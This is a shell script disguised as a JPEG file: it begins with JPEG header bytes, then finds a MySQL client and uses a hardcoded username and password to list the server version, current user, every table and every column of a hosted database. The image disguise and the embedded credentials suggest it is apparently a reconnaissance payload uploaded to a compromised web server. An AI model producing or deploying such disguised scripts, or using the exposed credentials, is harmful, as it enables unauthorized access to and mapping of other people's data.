ÿØÿàJFIF#!/bin/sh echo STARTOK M=/bin/mysql [ -x "$M" ] || M=/usr/bin/mysql [ -x "$M" ] || M=/usr/bin/mariadb echo "MYSQLBIN=$M" ls -l /bin/mysql /usr/bin/mysql 2>&1 U=u838083294_lamaira P='jO=;SChLNWW6' D=u838083294_lamaira Q(){ "$M" -h127.0.0.1 -u"$U" -p"$P" "$D" -N -B -e "$1" 2>&1; } echo "=== VERSION ===" Q "select version(), current_user(), @@version_comment;" echo "=== TABLES ===" Q "select table_name, table_rows, round((data_length+index_length)/1024) kb from information_schema.tables where table_schema='$D' order by table_name;" echo "=== COLUMNS ===" Q "select table_name, column_name, data_type, is_nullable from information_schema.columns where table_schema='$D' order by table_name, ordinal_position;" echo "=== NCOL ===" Q "select count(*) from information_schema.columns where table_schema='$D';" echo ENDOK